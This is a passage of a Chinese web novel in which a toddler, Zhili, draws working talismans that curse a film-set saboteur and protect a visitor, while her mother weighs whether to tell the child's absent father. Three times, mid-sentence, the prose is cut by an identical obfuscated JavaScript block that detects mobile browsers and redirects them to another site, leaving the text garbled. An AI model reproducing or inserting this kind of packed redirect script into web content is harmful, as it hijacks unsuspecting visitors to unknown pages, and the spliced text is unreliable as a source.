“知知小朋友,这是我跟别人借的,你可别给我弄坏了啊。” “嗯嗯,我是最乖的宝宝,不会弄坏哒~” 知鲤头也没抬,拔开笔帽就开始在纸上一顿写写画画。 一旁的明曦见她认真,很好奇这小家伙究竟在做什么,凑过去瞥了眼就觉得眼睛疼。 说她认真画吧,那线条不仅扭曲还层层叠叠;说她乱画吧,这些怪异的线条似乎遵循着特定的规律,线条分布格外契合。 小家伙手软握笔也没那么稳,看起来更像瞎胡闹了。 知鲤画的格外认真,待额上有细细密密的汗珠溢出才放下笔,认真看了一会儿,咧开嘴满意地点点头。 “你…这画的是符?” 没见过猪肉也见过猪跑,明曦作为演员拍戏过程中,也曾见过类似的道具,只是那些道具看起来并没有令人心头一跳的感觉。 知鲤手中的符…像是活的一样? 明曦打了个激灵,摇摇头将这个诡异的念头从脑海中甩了出去。 “是的呀,我画的!” 眼见知鲤仰起小脑袋,拍拍胸脯一副得意的小模样,明曦忍着笑逗小孩儿。 “哦,那是谁教你画的呀?” “大和尚呀。” 知鲤说着忍不住瘪起小嘴,气哼哼地小声嘀咕。 “他坏,他说我笨笨,没有画符的天赋,要我老实当一只安静的吉祥物。” 明曦不置可否,完全没有把知鲤的话放在心上。 小家伙会说话之后小嘴巴时常冒出些稀奇古怪的事情和称谓,其中大和尚出现的频次最高。 她跟棠棠姐一致认为所谓“大和尚”是小朋友幻想中的朋友,听到知鲤再次提及,明曦已经把所谓的符归于小朋友爱玩的一种小游戏。 看着知鲤将两个符叠成小三角,明曦忍不住啧啧称奇。 看上去挺像那么回事的。 一大一小说话间,安导已经叫人把红痘痘男人带了过来,知鲤看到人立即叉起腰,从小鼻子中发出气哼哼的怒音。 “大坏人,就是他说麻麻和曦曦姐姐坏话!” 明曦诧异地看了眼知鲤,又将目光投向这位“疑犯”身上,莫名觉得此人有些眼熟。 只是她还没有想起关联,就见知鲤迈着小短腿朝那个男人冲了过去,心下一惊,快步跟上去将人抱回。 明曦瞥了眼没有反应过来的红痘痘男人,见对方处于愣怔状态才悄悄松了口气,她离得近看得清楚,小家伙趁人不注意把什么东西塞进男人口袋了。 得亏现在冬天衣服穿得厚,隔绝了成年人敏锐的身体感知,若是被察觉,明曦不敢想红痘痘男人这种敢明目张胆搞事的人会对一个三岁半小奶团做出什么事来。 越想越后怕,明曦低头准备给知鲤一个完整的童年,却在垂眸的瞬间对上幼崽那双乖巧含笑的大眼睛。 小家伙深谙撒娇之道,抱着明曦的胳膊使劲儿蹭蹭,小嘴巴里更是不间断地输出甜到人心坎的软语。 “知知果然是最漂亮最善良的曦曦姐姐家的小宝贝,知知可喜欢曦曦姐姐啦,曦曦姐姐喜不喜欢知知呀?” 明曦:“……” 幼崽词汇匮乏,翻来覆去也就那几个词,还总是软趴趴的重复着同一个称谓,但每次听来都有不一样的感觉。 明曦承认,她再次可耻的心软了。 “咳…黎知鲤小朋友,别以为卖萌就能糊弄过去了,小朋友要有小朋友的样子,见到坏人要躲在大人身后,不可以跟坏人硬刚。” “哦。” 知鲤听到“小朋友”三个字就知道这波稳了,眨眨眼疑惑问道:“可是曦曦姐姐,什么叫‘硬刚’呀?” “硬刚就是……” 明曦解释一句突然反应过来,板起脸继续给三岁半幼崽上安全教育课,完全没有注意她口中的“坏人”凶狠的目光。 黎棠回来的时候恰好看到这一幕,微微眯了眯眼就侧身给身后的警方让了路。 同样看到男人凶狠目光的警察对视一眼,一人走到男人身旁,另一人朝木箱坠落的地方走去。 黎棠看着在明曦面前小脑袋低垂,乖巧认错的知鲤,挑眉轻笑。 “知知又调皮了?” 明曦像是找到了同盟似的连连点头,刚要张嘴说话,就见对面那个伪装乖巧的幼崽飞扑过去抱住黎棠大腿,像个树袋熊似的来回蹭蹭。 “麻麻麻麻,知知最爱的麻麻,人家已经十分……不对不对,已经好久好久没有见你啦,知知好想你呀!” 小家伙边说边委屈巴巴地掰着手指头数数,数着数着意识到她还是个文盲的事实,干脆换个词抱着黎棠哼哼唧唧诉说思念。 明曦:“……” 这小东西成精了吧? 黎棠无奈地蹲下身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059933|195020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点知鲤的小鼻子叮嘱。 “好了,妈妈不在的时候知知要听姐姐的话,不可以乱来知道嘛?” 知鲤连连点头,一副乖巧无比的小模样。 另一边,警方很快查出悬吊箱子的钢索被人动了手脚,也迅速查到准备这些道具的正是红痘痘男人。 在警方带红痘痘男人离开配合调查的时候,明曦实在没忍住蹲下身凑到知鲤耳边低声询问。 “知知小朋友,你到底在那个人口袋里塞了什么?” “我画的霉霉符,他欺负麻麻和曦曦姐姐,要让他霉霉的……” 奶呼呼的话音刚落,被两个警察一左一右“护”在中央的男人莫名摔了个大马趴,鼻血狂流,好不容易站起身又莫名其妙撞上片场道具,额头瞬间肿成包子…… 见到这一幕,原本还在感叹幼崽乖巧的明曦悚然一惊,看向知鲤的目光都有些扭曲。 “…巧合吧?” “姐姐说什么呀?” 知鲤没有听清,歪着小脑袋疑惑地望向明曦,那副憨态可掬的呆萌样跟动物园里熊猫幼崽有异曲同工之妙。 明曦嘴角抽搐,深深感觉是自己想多了。 正要说什么就见知鲤眼睛一亮,迈着小短腿朝另一边跑去。 “哎,都说了小朋友不能乱跑,你怎么又不听话了?” 刚喊完就见知鲤停在一个身穿剧组工作服的男人跟前,正是之前说黎棠明曦是非的其中之一。 那男人看到跟上来的黎棠明曦时神色变得十分尴尬,有种想在地上找个缝钻进去的感觉。 知鲤才不管男人想什么,认真盯着他额头看了好一会儿。 见他额上那股与人纠缠的气息已然消散,就知道他没有跟坏人同流合污,撇撇嘴,知鲤从口袋里掏出被叠成三角的符送到男人跟前。 “给你。” “啊?” 知鲤哼哼,“我知道你想成功,送你祈愿符,希望你愿望成真。” 小家伙的反应出乎意料,就见黎棠都感到诧异,对上男人尴尬的求助目光,轻轻点点头。 “小孩子的心意,希望先生不要嫌弃。” 黎棠的言谈温和有礼,男人的神色更加尴尬,根本不敢跟黎棠对视,接过知鲤手上的符就匆匆离开了。 知鲤看着他匆匆离去的背影,笑得像只偷油吃的小老鼠,回头就看到自家妈妈似笑非笑的目光,十分心虚地仰起小脑袋。 “我,我才没有做坏事。” “是么?那位就是你在片场遇到的人吧?” 没有在妈妈的话语间听到“知知”两个字,知鲤小脸一垮,哼哼唧唧地解释。 “人家,人家只是想他感受一下‘豁得出去’的感觉嘛。” 黎棠也想到了男人那句“女人想成功容易,只要豁得出去”的话,忍不住揉揉眉心。 知鲤是个顽皮却极其聪明的孩子,那两个人的对话只听一遍,她就一字不落全部记住。 那些充满恶意的话孩子虽不解其意,却能感受到其中的恶意,甚至会因为这股恶意做出如此出人意料的事情。 黎棠突然觉得带孩子来片场不是个好的选择。 她们所在的圈子是个大染缸,什么香的臭的都混在一起,踩高捧低、流言蜚语、陷害反击……屡见不鲜,成年人都未必顶得住,更何况一个三岁半的懵懂孩子呢? 她不后悔辞退了偷窥明曦隐私的保姆,却后悔没有在辞退保姆之前察觉异常,提前做好部署。 是她的错,是她让年幼懵懂的孩子过早见识了这世间的丑恶。 愧疚如潮水铺天盖地而来,拍得黎棠面容苍白。 她甚至生出把知鲤的存在告诉那个四年前背叛了她的男人,让对方担起父亲的责任,在她忙碌的时候帮忙照顾孩子。 “麻麻?” 稚嫩的童音夹杂着化不开的担忧,黎棠回过神望着知鲤圆滚滚的小脸,在其中窥见些许那人的影子,一时怔怔。 “…知知,知知会想有爸爸嘛?” “粑粑?” 知鲤愣了一下,很快摇摇头,“不要不要,从来没有出现过的粑粑我才不需要,我只要麻麻,麻麻才是最爱知知的人!” 小家伙边说边抱着黎棠的腿往上爬,那小猴子似的生生镇压了黎棠所有的负面情绪。 将胖嘟嘟的幼崽抱在怀里,像是抱住了全世界,黎棠心里暖烘烘的,亲亲知鲤的小脸,心里默默盘算如何尽快找到一个靠谱的居家保姆。 得到亲亲的知鲤傻笑一下,哼哼唧唧地蹭蹭黎棠的脸,小嘴叭叭地给最爱的妈妈送上定心丸。 “不要坏粑粑,我笨笨的时候、麻麻最痛苦的时候他都不在,我才不要他!” “阿嚏!” 远在国外某集团会议室的时勉莫名其妙打了个巨大的喷嚏,让整个会议室瞬间安静下来。 恰逢放在桌上的手机闪烁,时勉看了一眼便示意众人继续,起身到会议室外接了电话。 不知电话那边的人说了什么,时勉的脸色一点一点沉了下去。 5. 看她 黎棠是雷厉风行的性子,说找照顾孩子的保姆很快就行动起来。 上次那个保姆留下的后遗症太大,这次再找黎棠就更加谨慎,相关人员的资料看了一轮又一轮,紧锁的眉头始终没有舒展过。 因昨天的事故,剧组暂停了拍摄计划,明曦需要跟其他对手戏演员沟通后续拍摄细节,没有黎棠发挥的地方,倒是给她腾出了找人的时间。 “麻麻!你的小宝贝知知回来啦。” 人未到声先至,甜甜蜜蜜的童音让黎棠忍不住笑出声来,放下手中东西站起身就得到飞扑而来的幼崽亲昵的蹭蹭。 “麻麻呀,我今天可听话啦,姐姐对台词的时候我都没有捣乱哦~” 知鲤小脑袋微扬,几乎把“快夸夸我”四个大字写在脸上,黎棠又怎么会让她失望,从善如流地大肆夸赞一番,还送上一枚亲亲。 小家伙捂着脸躲在黎棠怀里装羞涩,明曦却哼笑一声毫不留情地拆台。 “知知小朋友,搞清楚哦,你是没有捣乱,但你吃光了向影后的小蛋糕,又拉着康宁玩捉迷藏怎么不说呢?” “才没有呢,小蛋糕是向姐姐给我准备的,康哥哥说他无聊我才陪他玩的!” 知鲤叉腰不满地瞪向明曦,“姨姨坏,欺负知知!” 听到“姨姨”两个字,黎棠已经忍不住扶额,完全预见到两只下一秒能吵起来。 而事实正如她所料,明曦踢开脚上的鞋子站在沙发上气势汹汹地望向知鲤。 “嘿,调皮鬼臭知知,你违反约定,都说了不许叫我‘姨姨’!” “不许叫我调皮鬼,我一点也不臭!” …… 黎棠掐住知鲤的胖腰肢一把将人抱在怀里,伸手把小家伙鼓鼓的小脸戳扁,转头看向明曦。 “明天应该会重新开拍,接下来的戏份要怎么安排?” 提及工作,明曦一秒正经盘腿坐在沙发上开口。 “昨天、今天和明天的戏份压缩到明天一天拍摄完成,我明天可能会一直待在片场,棠棠姐你不用跟我一起……” “嗯,我明天过去陪你。” 黎棠打断明曦,捏捏知鲤头上小揪揪,笑容温柔。 “虽然说这次事故不是我们的错,但终究是耽误了进程,增加了这些人的工作量,难免会有人因迁怒于你做不理智的事,我不可能把你一个人放在现场,面对那些随时可能爆发的恶意。” “可是……” 明曦看着懵懂的知知,眸底藏不住的担心。 黎棠知她在想着什么,手指敲击电脑,轻声解释。 “知知这边不用担心,我会找个本市的阿姨暂时照顾她,等这部戏拍完回A市我们再好好找个信得过的阿姨。” 见明曦的眉心并未舒展,黎棠叹息一声转移话题。 “对了,剧组那些流言你听说了没?” 明曦无力地靠在沙发上吐出一口浊气。 “听说了,完全是瞎扯。姚依依是想当女一号没错,但她没胆子害人,就算有胆子她也没这个脑子。” 说着,明曦嫌弃地撇撇嘴,“她能想到抢我角色的最好方式就是背我的台词,指使道具师害人?让她回炉重造十年她也长不出这种胆和脑子。” 黎棠想起姚依依当众赞同报警的样子,又想起知鲤听到的红痘痘男人那些极具引导性的话,忍不住揉揉眉心。 “这件事风向不对,才一天不到就传出那个道具师与姚依依交往甚密,姚依依哄骗道具师害你的传闻,只怕有人在背后搞事,接下来拍戏的时候一定要格外小心。” “其实这事儿……” 眼见明曦微微抿唇,看着她满脸纠结,黎棠笑着问道:“有什么就说吧,跟我还要考虑这么多嘛?” 深深吸了口气,明曦似是下定决心。 “是沈之亦啦,回来的路上路过他身边,听到他说了句要小心。不知道一叛徒他犯什么神经,但我觉得这事儿跟他和他那经纪人有关,小人难防,棠棠姐才更该小心。” 已经很久没从明曦口中听到“沈之亦”三个字,黎棠不自觉回想起这位沈顶流最初那双干净澄澈的眼睛,愣了一瞬才回过神,脸上的笑容变浅了些。 “我明白,放心。” 明曦见黎棠反应淡淡松了口气,正在心里骂人之际,突然听到“咕咕”的声音,顿时就将目光定格在知鲤圆滚滚的小肚子上。 “不是吧黎知鲤小朋友,这才过了多久你就饿了?” 声音里的不可置信冲破天际,也让厚脸皮的小知鲤不开心地瘪起嘴。 “人家,人家就是饿了嘛。” 知鲤理直气壮地挺直小腰板,“我还是小宝宝,小宝宝要长身体,所以人家饿了很正常。” 明曦啧啧一声,拿着翻了一会儿的手机走到黎棠身边。 “去这家店吧,有包间还离这不远,这里有几道小孩菜很出名,可以带没见识的知知小朋友去尝尝。” “是好吃的嘛?是好吃的嘛?知知要吃,要吃!” 知鲤已然无视了明曦言语间不和谐的词语。 她又不是笨蛋,从她肚子叫起,明曦已经动手翻手机了,想来这家店早就出现在明曦的溜娃攻略里了。 知知是大度的宝宝,当然要原谅笨笨的大人啦! 小家伙哼哼一声,抱着明曦的大腿蹭蹭,“曦曦姐姐,知知爱你。” 明曦嘴角抑制不住地上扬,却还是在幼崽面前板着脸,“别以为说两句好听的,我就会原谅你哦。” 说归说,还是俯身将粘豆包似的幼崽抱起来,幼崽也不扭捏,拱着小脑袋用力蹭蹭明曦的脸。 黎棠见这两个心理年龄加起来不到十岁的家伙重归于好,无奈地笑了笑将两人包裹严实才一起出了门。 走出酒店大门,黎棠被迎面而来的寒风吹得一个激灵,回头看了眼被包得只剩一双大眼睛露在外面的幼崽忍不住笑出声。 小孩子这种生物无论怎么打扮最后都会向“可爱”靠拢。 “麻麻,我要去追曦曦姐姐,麻麻也要快一些哦~” 知鲤身上除了围巾是白色,全身都被漂亮的红色包裹,远远看去就像一个行走的小红包,俨然是人群中最闪亮的崽。 跑到黎棠跟前挥挥小胖手,就朝已经跑出去的明曦追去。 只是她人小腿短穿得厚,跑起来实在够呛,那速度也就跟成年人正常走路差不多。 正因如此,黎棠根本没有阻拦,含笑看着小红包笨拙地在雪地上“奔跑”。 小孩子嘛,活泼好动是天性,不能因大人的私心要他们收敛天性。 “咦,时哥你快看,那个矮墩墩的小红包好好笑啊,摇摇摆摆的,看起来跟小鸭子似的,哈哈哈哈哈。” 停车场。 黑色车内,一个梳着大背头却生得格外精致漂亮的蔡玠指着小红包知鲤笑得格外大声。 被他点名的男人面容冷峻,视线一直定格在黎棠身上的时勉听到蔡玠的话愣怔片刻,还是忍不住朝那个圆滚滚的“小红包”看去。 小家伙人小腿短,穿得又厚,走起来摇摇摆摆像只红色的小鸭子,小小一团格外可爱。 耀眼的红落在时勉眼中,让他波澜不惊的心泛起层层涟漪,生出抱住摇摇摆摆的“小红包”,防止她摔倒的冲动。 陌生的感觉让时勉忍不住微微皱眉,“那孩子……” 话还没说完,一旁的蔡玠就咋咋呼呼地开了口。 “我想起来了,这孩子好像是那个经纪人黎棠的女儿,据说两岁多了还不会说话,连站都站不稳,到了三岁才像正常孩子一样会跑会跳,能说会道呢。” 蔡玠一点儿没有注意到时勉的脸色缓慢沉下,继续兴致勃勃地向他最尊敬的时哥分享八卦。 “圈内传言,这个经纪人男女关系混乱才生下了智障孩子,还有啊……” “够了。” 听到“智障孩子”四个字时勉心里十分不舒服,皱眉打断了蔡玠。 “那个经纪人的丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059934|195020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫呢?出了这么大事她的丈夫为什么不过来?” “丈夫?我不知道啊,谁关注一个经纪人的丈夫呢。” 说着,蔡玠便觉不对,忍不住从主驾上侧过身凑近时勉。 “时哥,你不是想追明曦嘛?怎么突然关心起她的经纪人了?” “胡说什么,谁追明……” 话未说完,时勉就被突然贴在窗子上的小红帽和大眼睛吓了一跳,凝神望着这双似曾相识的大眼睛,不由愣住。 “我的妈呀,这不是刚才那个‘小红包’嘛,什么时候出现在这里的,吓我一跳。” 窗子是单面可视的,知鲤看不到车内的时勉,而时勉却能清楚地看清知鲤。 小朋友呼出的气息在车窗上晕开一团雾气,模糊了她那双漂亮到似有星子坠落的眼睛,也模糊了时勉心底那丝微妙的情绪。 “知知!你怎么跑那里去了,那不是我们的车子。” “啊?” 知鲤放下踮起的小脚,侧头茫然地看了眼身旁的车,又朝黎棠身侧的黑车看了眼,发出一声恍然大悟的“哦”,对着身旁的黑车挥挥小手,快步朝黎棠跑去。 时勉放下车窗,凛冽的冬风带来了黎棠无奈又缥缈的声音。 “知知小宝贝,虽然那辆车也是黑色的,但它要比我们的车大得多也干净得多,你怎么会认错呢?” 缥缈的声音带着熟悉的语调,像一只冰冷的手再次轻而易举地叩响了心门,时勉捂着心口,感受着陌生又熟悉的律动,唇角泛起一抹凉薄又自嘲的笑。 “它们明明长得一样呀。” 知鲤是真的看不出来这些会跑的铁盒子有什么区别,抓抓小脑袋满脸茫然。 黎棠笑着戳戳她的小脸,“好了,认不出来就算了,以后要乖乖跟着大人知道嘛?” “好~” 黎棠摸摸知鲤的小红帽,把人送上车才坐上主驾。 透过车窗的缝隙,时勉贪婪地目送黎棠驾驶的黑车离去。 车内陷入沉寂,蔡玠总觉得哪里怪怪的却说不上来。 到底没有忘记此行目的,赶紧掏出手机跟安导联系,没一会儿就见一胡子拉碴的老头匆匆从酒店出来。 蔡玠跟安导寒暄好一会儿,室内突然响起时勉沉闷清冷的声音。 “可确定了玻璃瓶里装的不明液体是什么?” 时勉的突然出声,让安导愣了一下,随即疑惑地望向蔡玠,“这位是?” “哦,这位是我哥的朋友,不用隐瞒正常回答就好。” “蔡总的朋友啊。” 安导总觉得时勉有些眼熟,一时半会儿又想不起来是谁,便认真回答道:“那东西是医疗废液,是何明,哦,就是被带走的那个道具师,他从一些见不得光的渠道中买来的。” “医疗废液?” 蔡玠心头一跳连忙追问,“那些东西是否有感染性?” “有,但毒性已经非常微弱,只要不沾到伤口就没有问题,昨天那场事故没有人受伤,片场也及时做了消杀,小蔡总不必担心。” 蔡玠闻言顿时安下心来,“那就好那就好。” 意识到自己反应过激,蔡玠连忙找补,“我哥让我来查看情况,问清楚回去好跟我哥说。” 安导没有追问的想法,只含笑点头,“蔡总是我们剧组重要的投资人,想知道什么都是应该的。” 蔡玠干笑着又问了几个与昨天事故相关的问题,预备离开之际,时勉再次出声询问。 “从事故发生到现在,可有事件相关人员的家属来过?” 完全没有想到会是这个问题,安导也被问得愣了一下,古怪地看了时勉一眼,认真回答。 “据我了解并没有,事件波及最深的人只有女一号及其经纪人,剧组化妆师。那位化妆师是本地人,事故当天就回家了,并没有家属过来。” 时勉的眸光变得冷冽幽深,唇角泛起一抹嘲讽意味十足的冷笑,在安导和蔡玠怪异的目光中快步离开。 6. 平安符 蔡玠送时勉上了飞机才后知后觉意识到不对,问他亲哥蔡瑾,却换来他哥神秘兮兮地一笑,接着就提出让他滚去公司上班的无理要求。 冷酷无情,一点儿没有给可怜弟弟解惑的意思。 闲到发霉的顶级富四代蔡玠在家翻来覆去想了几天,实在憋不住跑去了剧组,企图从明曦身上找找线索。 这次他没有顶着“资方老总亲弟弟”的头衔去找安导,跟剧组相熟人会面后大喇喇地在剧组游荡。 颇有一种大王来巡山的既视感。 巡了一圈又一圈,蔡玠心中的疑惑没有解决,反而对他可怜的时哥生出几分同情。 望了眼摄像机中央认真拍戏的明曦,又瞥眼拿着厚衣服在外围认真等明曦拍戏的经纪人。 蔡玠突然觉得他时哥大概率是在经历一场无疾而终的暗恋。 明曦就是个比他亲哥还疯的事业脑,危险动作根本不用替身,受伤了也只是让化妆师用粉扑遮一遮就像个没事人似的继续拍戏。 蔡玠亲眼看着化妆师白着脸给她血糊糊的伤口处盖上一层比城墙还厚的粉,忍不住狠狠打了个寒颤。 这得是多不怕感染啊! 而她那个经纪人更恐怖,一人身兼数职,一边处理奇葩公司的各种为难,一边有条不紊地给明曦当助理送水送衣送温暖。 还能一边冷着脸给明曦清理伤口上的粉底,一边跟安导商议如何把明曦的伤口合理运用到下一组戏中。 更能在处理完一切后,面无表情地顶着那张惹人怜爱的娃娃脸给明曦上安全教育课。 经纪人小姐那副冷酷的神色让蔡玠想起上学期间被他哥和时勉联手教育的悲惨时光,打个寒颤之后鸡皮疙瘩掉了一地,搓搓手臂迅速退开。 并在心里给他时哥那场无疾而终的“爱情”献上一炷遗憾的香。 他是真的觉得事业脑明曦在同样事业脑经纪人的掌控下,根本不会同他可怜的时哥擦出爱的小火苗。 蔡玠在心里默哀的同时,莫名期待看到时勉暗恋失败后的反应。 时勉那人从小就是别人家的孩子,除了不靠谱的爸妈,几乎是一路顺风顺水地长大。 顺利长成精英模样,又顺利接手家族企业,接手后用雷霆手段镇压不安分的股东,清理公司沉疴,更是让他那对不靠谱的父母老实下来。 在蔡玠心里,时勉就是除他亲哥以外的另一个完美到没有缺憾的神。 可就是这样不食人间烟火的神,也有因爱情求而不得的时候,不得不说……还挺让人期待的。 忍不住脑补了一些画面,蔡玠笑得格外猥琐,丝毫没有注意身边的变化。 “哎呀!” 突如其来的撞击和奶呼呼的童音将蔡玠从脑补中拽了出来,低头就对上一双漂亮的大眼睛。 不知为何,蔡玠觉得这双眼睛莫名有些眼熟,反应过来后连忙蹲下身将小团子扶起来。 “抱歉呀小朋友,有没有受伤?” “我没事,手脏啦!” 知鲤举着胖乎乎的小手在眼前晃晃,眉眼弯弯,脸颊上的小酒窝都沁着甜丝丝的笑意,看上去格外乖巧。 “大哥哥不用道歉,我刚才没有看到大哥哥走过来,我也有错。” 正说着,知鲤的目光不受控制地被蔡玠锃光瓦亮的大脑门吸引,看着他那不知喷了多少发胶才倒竖起来的头发,小家伙发出一声没见识的“哇哦!” 这是她化形以来第一次见到如此神奇的头发,忍不住上手碰了碰,指尖硬邦邦的触感让幼崽感到异常新奇。 “知知,跑那么快摔倒了怎么办……已经摔了啊,唉,黎小姐看到会生气的。” 蔡玠还没来得及回应,就见知鲤身后赶来一个背着妈妈包的女人,愣了一下也忘了刚才的小插曲连忙解释。 “抱歉,不是这孩子的错,是我不小心碰到孩子才让她摔了的。” “我是小孩子,小孩子经常摔倒的,麻麻不会生气,方阿姨不要害怕,麻麻可温柔啦!” 方阿姨脸色微微发白,边用湿纸巾给知鲤擦手,边胡乱点头,完全没有把幼崽的话听进去。 知鲤看着方阿姨的模样也有些麻爪,抓抓小脑袋不知该怎么办,目光转向身旁高大的蔡玠,大眼睛“咻”一下亮起,抓住蔡玠的手臂轻轻摇晃。 “大哥哥,你帮帮忙,帮忙跟麻麻解释一下,方阿姨更相信大人,拜托啦,大哥哥是最好最好的大哥哥!” 知鲤知道黎棠会相信她说的每一句话,但方阿姨不相信,只有蔡玠亲自帮忙解释才能让方阿姨放心。 调皮捣蛋的幼崽最擅长的就是撒娇,没经历过如此攻势的蔡玠头脑一热,拍拍胸脯接下了这个任务。 “好,你妈妈在哪?我去跟她解释,绝对不让她误会…误会这位阿姨。” 知鲤咧开小嘴,毫不吝啬地输出甜言蜜语,情绪价值给足足的,把没什么见识的富四代哄得有些膨胀。 这份得意一直持续到知鲤带着他来到黎棠面前。 “…你,你是说,她是你妈妈?” 胸腔中的得意像被戳破的气球,蔡玠看着黎棠那双含笑的眸子,莫名打了个寒颤。 知鲤甜甜蜜蜜地蹭蹭黎棠的手心,“是的呀,世界上最好的麻麻啦。” 蔡玠:“……” 蔡玠认真盯着知鲤看了许久,终于从小家伙身上看到了前几天那个圆滚滚“小红包”的影子,心中更是无语凝噎。 对这个无比“狭小”的世界感到一丝丝绝望。 在蔡玠胡思乱想之际,知鲤已经叭叭地把事情前因后果告诉了黎棠。 “就是这样啦,说了麻麻不会生气,可是方阿姨还是担心。大哥哥,你快跟麻麻说一下呀!” 蔡玠回神,连忙把刚才的事情说了一遍,“是我没看路才撞倒小红…呃,小朋友的,您千万不要怪罪小朋友和这位阿姨。” “事情我已经知道了,麻烦先生陪我女儿胡闹,抱歉。” “不用,本来就是我撞倒小……” 蔡玠顿了顿,想说“小朋友”的时候,耳畔传来黎棠温柔的声音。 “我的女儿叫知鲤,先生叫她知知就好。” 言罢,黎棠的目光转向一旁松了口气的方阿姨,“方阿姨,你去帮明曦拿一下衣服吧,知知先交给我。” 见人离开,黎棠才长长叹了口气。 方阿姨人很好很善良,做事也认真细致,就是胆子有点儿小。 这样的人没有胆量偷拍明曦的隐私,却也实在过分畏缩谨慎,担心孩子受伤引起雇主不满,总是像护着易碎瓷器般护着知鲤。 黎棠发现跟她待在一起,平日调皮捣蛋的知鲤也安静下来。 黎棠不知道孩子变乖是不是好事,但她不想扼杀女儿的天性,若知鲤想做个文静乖巧的小姑娘她也赞同,可现在…… 她敏锐地察觉到知鲤在克制。 而知鲤的克制都是为了照顾方阿姨的情绪。 老实说,意识到这一点黎棠十分自责,她忽略了年幼的孩子需要的不仅仅是照顾,也是这份忽略让她年仅三岁半的女儿学会了克制自己的天性,学着照顾另一个成年人的情绪。 在黎棠看来,这不是一个好的现象。 方阿姨的事情,她需要跟女儿好好谈谈。 黎棠眉心的褶皱逐渐变深,一旁的蔡玠恍惚意识到她在忧虑什么,迟疑片刻还是没有把心里的想法说出来。 “先生……” 蔡玠瞬间明白黎棠的意思,点点头道:“既然事情已经解决,那我就告辞了。” 低下头,对仰着小脑袋盯着他脑门看得幼崽摆摆手,“小……知知,哥哥要走了,再见呀。” 知鲤眨眨眼,伸手抓住蔡玠的裤腿,“大哥哥等等,大哥哥帮我,我要送大哥哥礼物。” 蔡玠正要拒绝,就见幼崽小嘴耷拉下来,大眼睛水汪汪的,仿佛下一秒就会流下眼泪。 那可怜巴巴的模样让蔡玠束手无策,连忙求助地看向黎棠。 “既然是知知的心意,先生就收下吧。” 说是这么说,但黎棠也十分好奇小家伙究竟想给人家送什么。 人家亲妈都同意了,蔡玠也没什么可说的,刚答应下来就见耷拉着脸就要哭出来的幼崽,一秒切换笑脸,从随身的小包包中取出纸笔,飞快地画着什么。 知鲤很快就画好一枚全新的符,工整叠好递给蔡玠,看着他额上由金转灰又变黑的气运,踮起脚尖凑近蔡玠认真地叮嘱。 “给你,大哥哥要平平安安,今天一定要特别特别小心哦,不然会发生不好的事情。” 半吊子小神棍盯着蔡玠的额头再次发出一声长叹,她只能通过气运判断蔡玠今日有大劫却看不到他会遭受怎样的命运,没有办法警示什么,只能送上平安符保护他。 深深觉得眼前的大哥哥人很不错,小家伙拽拽蔡玠的衣袖示意他蹲下,“大哥哥,知知给你的平安符你今天一定要随身带着,千万不要取下来哦。” 蔡玠捏着被叠成小三角的平安符有些无语,但看着幼崽亮晶晶的眼睛又说不出拒绝的话,点点头答应下来。 站起身,再次跟黎棠母女说了再见,便悠然自得地离开了片场。 一旁的黎棠全程看着知鲤画平安符,又看着她把符送给蔡玠,不合时宜地想起了那个被警方带走的道具师何明。 据说,这人在拘留期间因为各种意外受了无数次伤,医院都前前后后进了好几次,已经倒霉到喝口水都能被水杯咯伤牙的地步。 刚知道这件事的时候,黎棠还感叹难得见到能比她更倒霉的人。 但从明曦处知道了她闺女曾偷偷给何明口袋里塞“霉霉符”,黎棠心里就有些异样的想法。 眼见她家小闺女像个小老太似的叹气摇头,明明是个嫩呼呼的奶团子却要学得大人模样,看得人恨不得将她抱在怀里使劲儿摩挲。 而她也确实这么做了,还换回幼崽一枚甜滋滋的亲亲。 黎棠心里十分熨帖,但该问的东西还是要问。 “知知,你告诉妈妈,刚才送给大哥哥的平安符是会他带来好处的东西吗?” 幼崽小脑袋点点,大眼睛里满是“快夸夸我”的期待和兴奋。 黎棠眸底闪过一丝不安,环着幼崽的手臂不由紧了紧,“那你告诉妈妈,你做这些事情会不会影响到你?” 怕三岁半的孩子听不懂,黎棠又换了一种说法,“你把平安符、霉霉符、祈愿符送给别人,会不会伤害到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059935|195020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你?” 知鲤愣了一下,安静地看着眼中黎棠掩饰不住的担忧,抽抽鼻子扑进她的怀里用力拱了拱。 “不会哒,麻麻放心啦,知知是可厉害的招福小锦鲤,福气够够的,什么都伤害不到知知哦。” 嘿嘿一笑,幼崽蹭蹭自家妈妈白皙的脸,热情表白,“麻麻呀,世界上最好的麻麻,知知可爱可爱你啦。” “妈妈也爱你。” 